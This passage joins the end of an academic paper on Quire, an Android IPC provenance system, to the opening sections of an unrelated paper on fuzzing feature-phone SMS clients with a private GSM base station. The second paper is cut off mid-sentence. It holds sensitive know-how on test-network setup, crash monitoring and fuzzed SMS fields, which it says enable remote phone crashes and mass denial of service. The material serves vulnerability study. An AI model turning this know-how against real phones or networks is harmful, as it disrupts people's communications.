Unlike Quire, however, IPC inspection doesn’t require
apps to be recompiled or any other modifications to be
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made to how apps make IPC requests.

6.1.2 Dynamic taint analysis on Android

The TaintDroid [13] and ParanoidAndroid [30] projects
present dynamic taint analysis techniques to preventing
runtime attacks and data leakage. These projects attempt
to tag objects with metadata in order to track information
flow and enable policies based on the path that data has
taken through the system. TaintDroid’s approach to in-
formation flow control is to restrict the transmission of
tainted data to a remote server by monitoring the out-
bound network connections made from the device and
disallowing tainted data to flow along the outbound chan-
nels. The goal of Quire differs from that of taint analysis
in that Quire is focused on providing provenance infor-
mation and preventing the access of sensitive data, rather
than in restricting where data may flow.

The low level approaches used to tag data also differ
between the projects. TaintDroid enforces its taint propa-
gation semantics by instrumenting an application’s DEX
bytecode to tag every variable, pointer, and IPC mes-
sage that flows through the system with a taint value. In
contrast, Quire’s approach requires only the IPC subsys-
tem be modified with no reliance on instrumented code,
therefore Quire can work with applications that use na-
tive libraries and avoid the overhead imparted by instru-
menting code to propagate taint values.

6.2 Decentralized information flow control

A branch of the information flow control space focuses
on how to provide taint tracking in the presence of mutu-
ally distrusting applications and no centralized authority.
Meyer’s and Liskov’s work on decentralized information
flow control (DIFC) systems [25, 27] was the first at-
tempt to solve this problem. Systems like DEFCon [23]
and Asbestos [33] use DIFC mechanisms to dynamically
apply security labels and track the taint of events mov-
ing through a distributed system. These projects and
Quire are similar in that they both rely on process iso-
lation and communication via message passing channels
that label data. However, DEFCon cannot provide its se-
curity guarantees in the presence of deep copying of data
while Quire can survive in an environment where deep
copying is allowed since Quire defines policy based on
the call chain and ignores the data contained within the
messages forming the call chain. Asbestos avoids the
deep copy problems of DEFCon by tagging data at the
IPC level. While Asbestos and Quire use a similar ap-
proach to data tagging, the tags are used for very dif-
ferent purposes. Asbestos aims to prevent data leaks by
enabling an application to tag its data and disallow a re-
cipient application from leaking information that it re-

ceived over an IPC channel while Quire attempts to pre-
emptively disallow data from being leaked by protecting
the resource itself, rather than allowing the resource to
be accessed then blocking leakage at the taint sink.

6.3 Operating system security

Communication in Quire is closely related to the mech-
anisms used in Taos [38]. Both systems intend to pro-
vide provenance to down stream callees in a communi-
cation chain, however Taos uses expensive digital signa-
tures to secure its communication channels while Quire
uses quoting and inexpensive MACs to accomplish the
same task. This notion of substituting inexpensive cryp-
tographic operations for expensive digital signatures was
also considered as an optimization in practical Byzantine
fault tolerance (PBFT) [7] for situtations where network
latency is low and the additional message transmissions
are outweighed by the cost of expensive RSA signatures.

6.4 Trusted platform management

Our use of a central authority for the authentication
of statements within Quire shares some similarities
with projects in the trusted platform management space.
Terra [16] and vTPM [4] both use virtual machines as
the mechanism for enabling trusted computing. The ar-
chitecture of multiple segregated guest operating systems
running on top of a virtual machine manager is similar to
the Android design of multiple segregated users running
on top of a common OS. However, these approaches both
focus on establishing the user’s trust in the environment
rather than trust between applications running within the
system.

6.5 Web security

Many of the problems of provenance and application
separation addressed in Quire are directly related to
the challenge of enforcing the same origin policy from
within the web browser. Google’s Chrome browser [3,
31] presents one solution where origin content is segre-
gated into distinct processes. Microsoft’s Gazelle [36]
project takes this idea a step further and builds up
hardware-isolated protection domains in order to protect
principals from one another. MashupOS [19] goes even
further and builds OS level mechanisms for separating
principals while still allowing for mashups.

All of these approaches are more interested in protect-
ing principals from each other than in building up the
communication mechanism between principals. Quire
gets application separation for free by virtue of Android’s
process model, and focuses on the expanding the capa-
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bilities of the communication mechanism used between
applications on the phone and the outside world.

6.6 Remote procedure calls
For an overview of some of the challenges and threats
surrounding authenticated RPC, see Weigold et al. [37].
There are many other systems which would allow for se-
cure remote procedure calls from mobile devices. Ker-
beros [22] is one solution, but it involves placing too
much trust in the ticket granting server (the phone man-
ufacturers or network providers, in our case). Another
potential is OAuth [17], where services delegate rights to
one another, perhaps even within the phone. This seems
unlikely to work in practice, although individual Quire
applications could have OAuth relationships with exter-
nal services and could provide services internally to other
applications on the phone.

7 Future work

We see Quire as a platform for conducting a variety of
interesting security research around smartphones.

Usable and secure UI design. The IPC extensions
Quire introduces to the Android operating system can
be used as a building block in the design and imple-
mentation of a secure user interface. We have already
demonstrated how the system can efficiently sign every
UI event, allowing for these events to be shared and dele-
gated safely. This existing application could be extended
to attest to the full state of the screen when a security crit-
ical action, such as an OAuth accept/deny dialog, occurs
and prevent UI spoofing attacks.

Secure login. Any opportunity to eliminate the need
for username/password dialogs from the experience of a
smartphone user would appear to be a huge win, particu-
larly because it’s much harder for phones to display tra-
ditional trusted path signals, such as modifications to the
chrome of a web browser. Instead, we can leverage the
low-level client-authenticated RPC channels to achieve
high-level single-sign-on goals. Our PayBuddy applica-
tion demonstrated the possibility of building single-sign-
on systems within Quire. Extending this to work with
multiple CAs or to integrate with OpenID / OAuth ser-
vices would seem to be a fruitful avenue to pursue.

Web browsers. While Quire is targeted at the needs of
smartphone applications, there is a clear relationship be-
tween these and the needs of web applications in modern
browsers. Extensions to Quire could have ramifications
on how code plugins (native code or otherwise) interact

with one another and with the rest of the Web. Exten-
sions to Quire could also form a substrate for building
a new generation of browsers with smaller trusted com-
puting bases, where the elements that compose a web
page are separated from one another. This contrasts with
Chrome [31], where each web page runs as a monolithic
entity. Our Quire work could lead to infrastructure sim-
ilar, in some respects, to Gazelle [36], which separates
the principals running in a given web page, but lacks our
proposed provenance system or sharing mechanisms.

An interesting challenge is to harmonize the differ-
ences between web pages, which increasingly operate as
applications with long-term state and the need for ad-
ditional security privileges, and applications (on smart-
phones or on desktop computers), where the principle
of least privilege [32] is seemingly violated by running
every application with the full privileges of the user,
whether or not this is necessary or desirable.

8 Conclusion

In this paper we presented Quire, a set of extensions to
the Android operating system that enable applications to
propagate call chain context to downstream callees and
to authenticate the origin of data that they receive in-
directly. These extensions allow applications to defend
themselves against confused deputy attacks on their pub-
lic interfaces and enable mutually untrusting apps to ver-
ify the authenticity of incoming requests with the OS.
When remote communication is needed, our RPC sub-
system allows the operating system to embed attestations
about message origins and the IPC call chain into the re-
quest. This allows remote servers to make policy deci-
sions based on these attestation.

We implemented the Quire design as a backwards-
compatible extension to the Android operating system
that allows existing Android applications to co-exist with
applications that make use of Quire’s services.

We evaluated our implementation of the Quire design
by measuring our modifications to Android’s Binder IPC
system with a series of microbenchmarks. We also im-
plemented two applications which use these extensions
to provide click fraud prevention and in-app micropay-
ments.

We see Quire as a first step towards enabling more se-
cure mobile operating systems and applications. With the
Quire security primitives in place we can begin building
a more secure UI system and improving login on mobile
devices.
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Abstract

Mobile communication is an essential part of our

daily lives. Therefore, it needs to be secure and reliable.

In this paper, we study the security of feature phones,

the most common type of mobile phone in the world.

We built a framework to analyze the security of SMS

clients of feature phones. The framework is based on

a small GSM base station, which is readily available

on the market. Through our analysis we discovered

vulnerabilities in the feature phone platforms of all

major manufacturers. Using these vulnerabilities we

designed attacks against end-users as well as mobile

operators. The threat is serious since the attacks can

be used to prohibit communication on a large scale

and can be carried out from anywhere in the world.

Through further analysis we determined that such

attacks are amplified by certain configurations of the

mobile network. We conclude our research by providing

a set of countermeasures.

1 Introduction

In recent years a lot of effort has been put into analyz-

ing and attacking smartphones [18, 20, 24, 21, 22, 23,

46, 45], neglecting the so-called feature phones. Feature

phones, mobile phones that have advanced capabilities

besides voice calling and text messaging, but are not con-

sidered smartphones, make up the largest percentage of

mobile devices currently deployed on mobile networks

around the world. In comparison, smartphones only ac-

count for about 16% of all mobile phones [43]. The lack

of security research into the far more popular feature

phones is explained by the fact that smartphones share

much commonality with desktop computers, and, there-

fore are easier to analyze. Researches are able to use the

same or similar tools that they are already familiar with

on desktop computers. Feature phones on the other hand

are highly embedded systems that are closed to develop-

ers. This results in billions (there are about 4.6 billion

mobile phone subscribers [43, 16]) of potentially vulner-

able mobile devices out in the field, just waiting to be

taken advantage of by a knowledgeable attacker.

In this paper, we investigate the security of feature

phones and the possibility for large scale attacks based on

discovered vulnerabilities in these devices. We present a

novel approach to the vulnerability analysis of feature

phones, more specifically for their SMS client imple-

mentations. SMS is interesting because it is the feature

that exists on every mobile phone. Furthermore, security

issues related to SMS messaging can be exploited from

almost anywhere in the world, and, thus present the ideal

attack vector against such devices. To the best of our

knowledge, no attempt has been made before to analyze

or test feature phones for security vulnerabilities.

Analyzing feature phones is difficult for several rea-

sons. First of all, feature phones are completely closed

devices that do not allow for development of native appli-

cations and do not provide debugging tools. Moreover,

analyzing the part of the phone that interacts with the

mobile phone network is hard since the mobile phone

network between us and the target device is essentially

a black box. As a consequence, analysis becomes time

consuming, unreliable, and costly.

We address these problems by building our own GSM

network using equipment that can be bought on the mar-

ket. We use this network not only for sending SMS mes-

sages to the phones we analyze, but also as an advanced

monitoring system. The monitoring system replaces our

need for debuggers and other tools that are normally re-

quired for thorough vulnerability analysis, but do not ex-

ist for feature phones.

Vulnerability analysis was conducted using fuzzing.

We chose fuzzing as the testing technique because we

did not have access to source code and reverse engineer-

ing a large number of devices is not feasible. Addition-

ally, fuzzing proved to be very efficient since this allowed
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us to analyze a large amount of mobile handsets with the

same set of tests.

So far, we have found numerous vulnerabilities in fea-

ture phones sold by the six market leading mobile phone

manufacturers. The vulnerabilities are security critical

as they can remotely crash and reboot the entire target

phone. In the process the mobile phone is disconnected

from the mobile network, interrupting any active calls

and data connections. Such bugs and attacks have ex-

isted before on the Internet, known as Ping-of-Death [6].

We believe this represents a serious threat to mobile tele-

phony world wide.

To complete our research we further analyzed the

effect of such attacks on the mobile phone core network.

This resulted in two interesting findings. First, the

mobile phone network can be abused to amplify our

Denial-of-Service attacks. Second, by attacking mobile

phones one can attack the mobile phone network itself.

The main contributions of this paper are:

• Vulnerability Analysis Framework for Feature

Phones: We introduce a novel method to conduct

vulnerability analysis of feature phones that is based

on a small GSM base transceiver station. We solve

the major issue of such analysis: the monitoring

for crashes and other unexpected behavior. We

present multiple solutions for monitoring such de-

vices while analyzing them. Our method further-

more shows that once a system, such as GSM, be-

comes partially open, the security of the entire sys-

tem, including the parts that are still closed, can be

analyzed and exploited.

• Bugs Present in Most Phones: We show that vul-

nerabilities exist in most mobile phones that are de-

ployed on mobile networks around the world today.

The bugs we discovered can be abused for carrying

out large scale Denial-of-Service attacks.

• Attack Impact: We show that a small number of

bugs in the most popular mobile phone brands is

enough to take down a significant number of mobile

phones around the world. We further show that bugs

present in mobile phones can possibly be used to

attack the mobile phone network infrastructure.

The rest of this paper is structured in the following

way. In Section 2 we discuss related work and show how

our research extends previous work in this area. In Sec-

tion 3 we explain how we selected our targets for analy-

sis and resulting attacks. In Section 4 we show in great

detail how to analyze feature phones for security vulner-

abilities. In Section 5 we layout methods to use the vul-

nerabilities discovered for large scale attacks on mobile

communication. In Section 6 we present methods for de-

tecting and preventing the attacks we designed. In Sec-

tion 7 we briefly conclude.

2 Related Work

Related work is separated into four parts. First, smart-

phone vulnerability analysis. Second, mobile and feature

phone bugs, which were all found purely by accident.

Third, studies on attacks against mobile phone networks.

Fourth, Denial-of-Service (DoS) attacks since we are go-

ing to present a large scale mobile phone DoS attack in

this paper.

The authors of [24] built a framework for security

analysis of Multimedia Messaging Service (MMS) im-

plementations on Windows Mobile based smartphones.

Similar research in [23] conducted vulnerability analy-

sis of Short Message Service (SMS) implementations of

smartphones. Both used traditional techniques such as

debuggers and analysis of crash dumps to catch excep-

tions generated during fuzzing.

Our work presented in this paper is different, as we do

not rely on debugging capabilities provided by the vari-

ous manufacturers, which mostly do not provide such ca-

pabilities at all. Instead we use a small GSM base station

to monitor and catch abnormal behavior of the phones

by monitoring and analyzing radio link activity. MMS-

based attacks that lead to battery exhaustion due to in-

creasing power consumption have been studied in [39].

They utilized the fact that MMS messages use more bat-

tery resources because of GPRS and increased CPU us-

age. However, we did not conduct this kind of analysis

since our focus was software bugs in SMS implementa-

tions.

Over the last few years a small number of bugs have

been discovered by individuals. Most of them have been

found by accident. To our knowledge no systematic test-

ing has been conducted. Some examples are: the Curse-

of-Silence [44] named bug for Symbian OS that prevents

a phone from further receiving any SMS after receiving

the curse SMS message. The WAP-Push vCard bug on

Sony Ericsson phones [33] that caused a target phone to

reboot. Some Nokia phones [34] contained a bug that

could be abused to remotely crash a phone by sending it

a specially crafted vCard via SMS. Some mobile phones

produced by Siemens contained a bug [17] that would

shutdown the phone when displaying an SMS message

that contained a special character. Bugs like these fuelled

our research effort since we believed that most phones

contain similar bugs. A large number of similar issues

in an exploit arsenal can likely be used to carry out at-

tacks against a bigger percentage of mobile phone users

around the world.

Enck et al. show in [47] that SMS messages sent over

2
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the Internet can be used to carry out a Denial-of-Service

attack against mobile phone networks. The attack fo-

cused on blocking the mobile network’s control chan-

nels, therefore, no more calls could be initiated. Solu-

tions against this type of resource consumption attack

are investigated in [37]. However our attacks, described

in this paper, are not based on attacking the radio link

(the control channel) in any way. We attack the hand-

sets directly without targeting the control channel. A

study on the capabilities of mobile phone botnets [36]

shows that these could be used to carry out DoS attacks

against a mobile network. The attack works by over-

loading the Home Location Register (HLR) by trigger-

ing large amounts of state changes by zombie phones.

However, in this paper we show that one can achieve a

similar kind of DoS attack against an operators network

by disconnecting large amounts of mobile phones from

the network. The difference to the botnet approach is that

we do not need to have control over the zombie phones in

the first place. We can remotely force them to reboot and

disconnect and re-authenticate to the network and thus

cause a higher load on the network core infrastructure.

Denial-of-Service attacks such as the one presented in

this work have been studied in a wide area. Attacks rang-

ing from the Web to DNS [38]. More interesting in our

context are attacks that disable real-world systems and

processes such as emergency services [29] (although just

as a side effect) or even postal services [40].

Essentially the work presented in this paper is differ-

ent in many aspects. We focus on feature phones because

feature phones are muchmore popular than smartphones.

Therefore, attacks against feature phones have a larger

global impact. In this work we present a security testing

framework for analyzing SMS implementations of any

kind of mobile phone. We used this framework to ana-

lyze feature phones of the most popular manufacturers in

the world, as shown in Section 3. We also performed this

type of analysis because it has not been done in the past,

even though these devices are widely deployed.

3 Target Selection

To achieve maximum impact with an attack, it makes

sense to target the most popular devices. We deter-

mined that feature phones are the dominant type of mo-

bile phones. They account for 83% of the U.S. mobile

market [10], smartphones in comparison just make for

16% of all mobile phones world wide [43]. We acknowl-

edge that today smartphone sales are rising very fast, but

feature phones still dominate when it comes to deployed

devices in the field.

Most of the definitions of the term feature phone are

a bit fuzzy. A loose definition of the term is: every mo-

bile phone that is neither a dumb phone nor a smartphone

is considered a feature phone. Dumb phones are phones

with minimal functionality, often they only support voice

calls and sending SMS messages, just basic functional-

ity. Feature phones have less functionality than smart-

phones but still more than dumb phones. Feature phones

have proprietary operating systems (firmware) and have

additional features (thus the term feature) such as play-

ing music, surfing the web, and running simple applica-

tions (mostly J2ME [41]). Despite this lack of function-

ality (compared to smartphones) they are quite popular

because they are cheap and offer long battery life.

Technically interesting is the fact that feature phones

are based on a single processor that implements the base-

band, the applications, and user interface. Smartphones

usually have a dedicated processor for the baseband. The

consequence of this is that a simple bug on a feature

phone may bring down the complete system.

Mobile phones are produced by many different manu-

facturers that all have their own OS, therefore, targeting

a single one of themwill not result in global effect. Since

we can not simply target all mobile phone platforms we

have to select the few ones that have enoughmarket share

to be of global relevance.

To determine the major mobile phone manufacturers

we analyzed various market reports: World wide [42]

and European [31] market share. Market shares in the

United States [28] and in Germany [27]. In the Appendix

of this paper we include a table containing the raw num-

bers we gathered from the various market reports.

Through this analysis we got a clear picture about the

top manufacturers. These are Nokia, Samsung, LG,

Sony Ericsson, and Motorola. We further chose

to add Micromax [4] to the list of interesting mobile

phone manufacturers because we read [9] that they are

the third most popular brand of mobile phones in India.

4 Security Analysis of Feature Phones

Analyzing feature phones for security vulnerabilities is

hard for several reasons. There is no access to source

code of the OS and applications. There are no exist-

ing native-SDKs, therefore, there is no way to run native

code on the device and further no access to a debugger.

JTAG-based debugging is also no option since not all de-

vices have JTAG enabled. Furthermore, deeper knowl-

edge of the hardware and software is required in order to

use JTAG debugging in a meaningful way.

Because of these reasons we choose to conduct fuzz-

based testing. The testing is carried out on our own GSM

network. In order to monitor for misbehavior, crashes,

and to find the related bugs, we designed our own mon-

itoring system. Throughout this section we will first de-

scribe the setup of our GSM network. Followed by the

way we send SMS messages in this setup. Then we will

3
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describe our novel monitoring setup. The final part of the

section will discuss test cases and the resulting bugs that

were discovered throughout this work.

4.1 Network Setup

Since we want to send large amounts of SMS messages

we decided to build our own GSM network rather than

sending SMS messages over a real network. On the one

hand this has the advantage of not costing any money

and on the other hand we do not risk to interfere with the

telecommunication networks. We want to avoid crash-

ing the operator’s network equipment by either content

or quantity of SMS messages. Having our own network

assures reproducible results because we have control of

the entire system and are able to quickly find parameters

that cause unexpected results. Analysis over a real oper-

ator network would only leave us with the possibility of

guessing in many cases. In addition, the delivery of SMS

messages is much faster on our small network compared

to a production setup of a mobile operator.

On the hardware side we decided to use an ip.access

nanoBTS [32], which is a small, fairly cheap (about 3500

Euro) GSM Base Transceiver Station (BTS) that pro-

vides an A-bis over IP interface. The A-bis interface

is used to communicate between the BTS and the Base

Station Controller (BSC). The BSC part of our setup is

driven by OpenBSC [30]. OpenBSC is a Free Software

implementation of the A-bis protocol that implements

a minimal version of the BSC, Mobile Switching Cen-

ter (MSC), Home Location Register (HLR), Authenti-

cation Center (AuC) and Short Message Service Center

(SMSC) components of a GSM network. Figure 1 shows

a picture of our setup.

Figure 1: Our setup: A laptop that runs OpenBSC and

the fuzzing tools, the nanoBTS, and some of the phones

we analyzed.

As GSM operates on a licensed frequency spectrum

we had to carry out our experiments in an Faraday cage.

Utilizing this setup we are able to send SMS mes-

sages to a mobile phone. OpenBSC allows us to either

send a text message from its telnet interface to a sub-

scriber of our choice or it processes an SMS message

that it received Over-the-Air in a store and forward fash-

ion. As we later see the existing interface is not feasible

for fuzzing since we need the ability to closely control all

parameters in the encoded SMS format as well as a way

to inject binary payloads.

Using a mobile phone to inject SMS messages into the

network is not an option as this would be very slow as we

show later. Instead we built a software framework based

on a modified version of OpenBSC that allows us to:

• Inject pre-encoded SMS into the phone network

• Extensive logging of fuzzing related feedback from

the phone

• Logging of non-feedback events, i.e. a crash result-

ing in losing connection to the network

• Automatic detection of SMS that caused a certain

event

• Process malformed SMS with OpenBSC

• Smart fuzzing of various SMS features

• Ability to fuzz multiple phones at once

• Sending SMS at higher rate than on a real network

The format of an SMS [15] differs depending

on whether the message is Mobile Originated

(MO) or Mobile Terminated (MT). This is

mapped to the two formats SMS SUBMIT (MO) and

SMS DELIVER (MT). In a typical GSM network, shown

in Figure 4, an SMS message that is sent from a mo-

bile device is transferred Over-the-Air to the BTS of an

operator in SMS SUBMIT format. Every BTS is han-

dled by a Base Station Controller (BSC) that is inter-

acting with a Mobile Switching Center (MSC), which

acts as the central entity handling traffic within the net-

work. The MSC relays the SMS message to the respon-

sible Short Message Service Center (SMSC), which is

usually a combination of software and hardware that for-

wards and relays messages to the destination phone or

other SMSCs (in case of inter-operator messages or an

operator with multiple SMSCs). In our setup OpenBSC

acts as BSC, MSC, and SMSC. During the final trans-

mission to the destination the SMS will get converted

to SMS DELIVER, this is taken care of by OpenBSC.

Both formats are similar and no field that is subject to

our fuzzing is lost. SMS SUBMIT only contains the

destination number and since SMS works in a store-and-

forward fashion, the destination address is replaced with

the sender number on the final transmission to the desti-

nation. SMS DELIVER does not include the destination

number but instead relies on an existing channel to the

4
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phone (after the phone has been paged). For this rea-

son we utilize the SMS SUBMIT format when injecting

messages.

4.2 Sending SMS Messages

OpenBSC itself does not provide an interface to submit

pre-encoded SMS messages to the network, but only an

interface to submit text SMS messages that are then con-

verted into the corresponding encoding. We added a new

interface to OpenBSC that allows us to submit SMS mes-

sages directly in SMS SUBMIT format. These messages

are inserted into a database that is used by OpenBSC

as part of the SMSC functionality. In our version not

only the parsed SMS values are stored, but also the com-

plete encoded message for easy reproducibility. Modi-

fying the existing text message interface to be capable

of handling binary encoded SMS messages proved to be

infeasible. Messages submitted over this interface are

instantly transmitted to the subscriber if he is attached to

the network. This means opening a channel, initiating a

data connection, sending the message and tearing down

the connection. This works, but is very slow and takes

about seven seconds per message. This is also the reason

why we did not want to use a mobile phone to send our

fuzz-messages in the first place. Our method of inject-

ing messages is much faster. Prior to testing we use our

new interface to inject thousands of messages into the

SMSC database. Next, we send these messages. Ideally,

this only opens a channel once and sends all SMS mes-

sages (pending delivery) to the recipient and then closes

the connection. This greatly improves the speed at which

we can fuzz since the actual message transfer only takes

about one second.

In essence we removed the sending mobile phone and

replace it with a direct interface to the network. This way

it was not necessary to modify the target mobile phone in

any way.

4.3 Monitoring for Crashes

In fuzz-based testing, monitoring is one of the essential

parts. Without good monitoring one will not catch any

bugs.

OpenBSC itself already has an error handler that takes

care of errors reported from the phone, which we mod-

ified to fit our fuzzing case. The default error handler

does not differentiate between errors and is not taking the

cause of an error into account. It simply stops the SMS

sending process in case of an error. The only exception

is a Memory Exceeded error, which causes OpenBSC

to dispatch a signal handler to wait for an SMMA signal

(released short message memory) indicating that there is

enough space again.

The mobile phone as well as the MSC are usually di-

vided into separated layers for transferring and process-

ing a message. As shown in Figure 2 they consist of

a Short Message Transport Layer (SM-TL), Short Mes-

sage Relay Layer (SM-RL) and the Connection Sublayer

(CM-Sub). The SM-TL [13] receives and relays mes-

sages that it receives from the application layer in TPDU

form (Transport Protocol Data Unit). This is the original

encoding form that we describe later in this paper. The

message is passed to the SM-RL to transport the TPDU

to the mobile station. At this point the TPDU is encap-

sulated as an RPDU. As soon as a connection is estab-

lished between the mobile station and the network the

RPDU is transferred Over-the-Air encapsulated in a CP-

DATA unit that is part of Short Message Control Protocol

(SM-CP). Both sides communicate via their CM-Subs

with each other. The CM-Sub on the phone side will

unpack the CPDU and forward the encapsulated TPDU

to the Transport Layer using an RP-DATA unit. At this

point the mobile phone stack has already performed san-

ity checks on the content of the SMS and parsed it. The

resulting reply, passed to CM-Sub, will include an ac-

knowledgement of the SMS message and it will then be

passed to the higher layers. From there it will end up

in the user interface or an error message is encapsulated

and sent back to the network. For our monitoring we

need to log these replies carefully to observe the status

of the phone.

Figure 2: Mobile terminated SMS

From the wide variety of error messages a phone can

reply to a received SMS message (defined in [14]), we

observed during our fuzzing experiments that all of the

tested phones either reply with a Protocol Error

or Invalid Mandatory Information message

in the case of a malformed message. These two re-

sponses besides the memory error have been the only er-

rors that we observed in practice. We added code to flag

such an SMS message as invalid in the database and con-

tinue delivering the next SMS that has not been flagged

5
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as invalid. OpenBSC would otherwise continue trying to

retransmit the malformed SMS message and thus block

further delivery for the specific recipient.

SMSmessages are usually sent over a SDCCH (Stand-

alone Dedicated Control Channel) or a SACCH (Slow

Associated Control Channel). The details of such a chan-

nel are not important for the scope of this paper. However

the use of such a logical channel is an important mea-

surement to detect mobile phone crashes. Such a channel

will be established between the BTS and the phone on the

start of an SMS delivery by paging the phone on a broad-

cast channel. As we explained earlier, we only open the

channel once and send a batch of messages using this

one channel. The channel related signaling between the

BSC and the BTS happens over the A-bis interface over

highly standardized protocols. We added modifications

to the A-bis Radio Signaling Link code of OpenBSC that

allows us to check if a channel tear down happens in a

usual error condition, log when this happens and which

phone was previously assigned to this channel.

So while we lack possibilities to conduct traditional

debugging methods on the device itself we can use the

open part - OpenBSC - to do some debugging on the

other end of the point-to-point connection.

The difference to traditional debugging techniques is

that we are mostly limited towards noticing an error con-

dition and monitoring the impact of such an error. We

are not able to peek at register values and other soft-

ware related details of the phone firmware. However,

it is enough to be able to reliably detect and reproduce

the error. Using this method it also possible to find code

execution flaws. However exploiting them and getting to

know the details about the specific behavior requires the

effort of reverse engineering the firmware for a specific

model. We try to avoid such a large scale test of phones

but these bugs are a good base for further investigations

such as reverse engineering of firmware.

In the next step we have written a script that parses the

log file, evaluates it and takes actions in order to deter-

mine which SMS message caused a problem.

When delivering an SMS message to a recipient phone

under the assumption that it is associated with the cell

in practice three things can happen. Either the message

is accepted and acknowledged, it is rejected with a rea-

son indicating the error, or an unexpected error occurs.

Such an unexpected error can be that the phone just dis-

connected because it crashed or due to other reasons the

received message is never acknowledged. In the latter

case, OpenBSC stores the SMS message in the database,

increases a delivery attempt counter and tries to retrans-

mit the SMS message when the phone associates with

the cell again. For our fuzzing results this means that

this method detects bugs in which the SMS message ei-

ther results in a phone crash after it accepted the message

or already during receiving it in which it will never be ac-

knowledged and OpenBSC continuously tries to deliver

the SMS message.

Detecting the SMS message that caused such an error

condition then is fairly simple. Our script checks the er-

ror condition and if it occurred because of the loss of a

channel it first looks up the database to find SMS mes-

sages that have a delivery count that is bigger or equal

to one and the message is not marked as sent (meaning

it was not acknowledged). In this case we can with a

high probability say that the found SMS message caused

the problem. If there is no message the script checks

which messages have been sent in a certain time inter-

val around the time of the log event. During our testing

we decided that a one minute time interval works well

enough to have a fairly small subset of candidate SMS

messages that could have caused a problem. Figure 3

shows the logical view of our monitoring setup.
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Figure 3: Logical view of our setup.

4.4 Additional Monitoring Techniques

In addition to the aforementioned OpenBSC setup we

have developed more methods for monitoring for abnor-

mal behavior.

Bluetooth: Bluetooth can be used to check if a de-

vice crashes or hangs. Our monitor script connects to the

device using a Bluetooth virtual serial connection (RF-

COMM) by connecting to the RFCOMM channel for

the phone’s dial-up service. The script calls recv(2)

and blocks since the client normally is supposed to send

data to the phone. When the phone crashes or hangs, the

physical Bluetooth connection is interrupted and recv(2)

returns, thus signaling us that something went wrong.

J2ME: Almost every modern feature phone supports

J2ME [41] and this is providing us with the only way

to do measurements on the phone since they do not run

native applications. Applications running on the mobile

phone can register a handler in an SMS registry simi-

lar to binding an application to a TCP/UDP port. SMS

can make use of a User Data Header [13] (UDH) that

indicates that a certain SMS message is addressed to a

6
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specific SMS-port. When the phone receives a message

this header field will be parsed and the message is for-

warded to the application registered for this port. Our

J2ME application that is installed to the fuzzed phone

registers to a specific port and receives SMS messages

on it. For each chunk of fuzzed SMS messages we in-

ject a valid message that is addressed to this port. The

application then replies with an SMS message back to

a special number that is not assigned to a phone. Fig-

ure 3 shows this as the J2ME echo server. The message

is just saved to the SMS database. This allows us to eas-

ily lookup the count of SMS messages for this special

number in the database and check if it increased or not.

If not, it is very likely that some odd behavior was trig-

gered. This kind of monitoring is useful to identify bugs

that block the phone from processing received messages

such as those described in [44].

4.5 SMS SUBMIT Encoding

The SMS SUBMIT format as defined in [13] consists of

a number of bit and byte fields, the destination address,

and the message payload. Below we briefly describe the

parts the are important for our analysis. We included a

diagram of the structure of an SMS SUBMIT message

in the Appendix.

TP-Protocol-Identifier (1 octet) describes the type of

messaging service being used. This references to a

higher layer protocol or telematic interworking being

used. While this is included in the specifications, we be-

lieve that these interworkings are mostly legacy support

and not in use these days. This makes it an interesting

target to study unusual behavior.

TP-Data-Coding-Scheme (1 octet) as described in [12]

indicates the message class and the alphabet that is used

to encode the TP-User-Data (the message payload). This

can be either the default 7 bit, 8 bit or 16 bit alphabet and

a reserved value.

The TP-User-Data field together with the TP-

Protocol-Identifier and the TP-Data-Coding-Scheme are

the main targets for fuzzing. The receiving phone parses

and displays the message based on this information.

However these fields are not enough to cover the com-

plete range of possible SMS features. If the TP-User-

Data-Header-Indicator bit (one of the earlier mentioned

bit fields) is set this indicates that TP-User-Data includes

a UDH.

The UDH is used to provide additional control infor-

mation like headers in IP packets. It can hold multiple so

called Information Elements [15] (IEI), for example el-

ements for port addressing, message concatenation, text

formatting and manymore. IEIs are represented in a sim-

ple type-length-value format. We included an example

UDH with multiple IEIs in the Appendix.

4.6 Fuzzing Test-cases

We have implemented a subset of the SMS specification

as a Python library to create SMS PDUs (Protocol Data

Unit) and used this to develop a variety of fuzzers. This

includes fuzzers for vCard, vCalendar, Extended Mes-

saging Service, multipart, SIM-Data-Download, WAP

push service indication, flash SMS, MMS indication,

UDH, simple text messages and various others fuzzing

only single fields that are part of a specific SMS feature.

Some of these features can also be combined. For exam-

ple most of the features can either consist of single SMS

message or be part of a multipart sequence by adding the

corresponding multipart UDH.

For the scope of this paper we focused on fuzzing mul-

tipart, MMS indication (WAP push), simple text, flash

SMS, and simple text messages with protocol ID/data

coding scheme combinations. These test cases cover a

wide variety of different SMS features.

Multipart: SMS originally was designed to send up

to 140 bytes of user data. Due to 7-bit encoding it is

possible to send up to 160 bytes. However various SMS

features rely on the possibility to send more data, e.g.

binary encoded data. Multipart SMS allow this by split-

ting payload across a number of SMS messages. This

is achieved by using a multipart UDH chunk (IEI: 0,

length: 3). This UDH chunk comprises three one byte

values. The first byte encodes a reference number that

should be random and the same in all message parts that

belong to the same multipart sequence. Based on this

value the phone is later able to reassemble the message.

The second byte indicates the number of parts in the se-

quence and the last byte specifies the current chunk ID.

By fuzzing these three values we weremainly looking for

abnormal behavior related to combinations of the current

chunk ID and the number of chunks in a sequence. For

example missing chunk and chunk IDs higher than the

number of total chunks.

MMS indication: When a subscriber receives

an MMS (Multimedia Messaging Service) message an

MMS notification indication message [48] is sent to him.

This MMS indication is in fact a binary encoded WAP-

push message sent via SMS. The notification contains

multiple variable length fields for subject, transaction ID

and sender name. There are no length fields for these

values. They are simple zero terminated hex strings. An

MMS indication message can also consist of multipart

sequences. Therefore, our fuzzing target were the vari-

able length field values included in the message seeking

for classic issues like buffer overflow vulnerabilities.

Simple text: Implementations of decoders for sim-

ple 7 bit encoded SMS often work with a GSM alpha-

bet represented for example with an array. The decoder

first needs to unpack the 7 bit encoded values and convert

7
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them to bytes. After this step it can lookup the charac-

ter values in the GSM alphabet table. Our fuzzers mixed

valid 7 bit sequences with invalid encodings that would

result in no corresponding array index. This could trigger

all kinds of implementation bugs but most noteworthy

out of bounds access resulting in null pointer exceptions

and the like.

TP-Protocol-Identifier/TP-Data-Coding-Scheme:

The combination of both of these fields defines how

the message is displayed and treated on the phone.

Both of these fields are one byte values and also cover

several rather unpopular features and reserved values.

With fuzzing combinations of these values with random

lengths of user data payload we were aiming for odd

behavior and bugs in code paths that are seldom used by

normal SMS traffic.

Flash SMS: Flash messages are directly displayed on

the phone without any user interaction and the user can

optionally save the message to the phone memory. Our

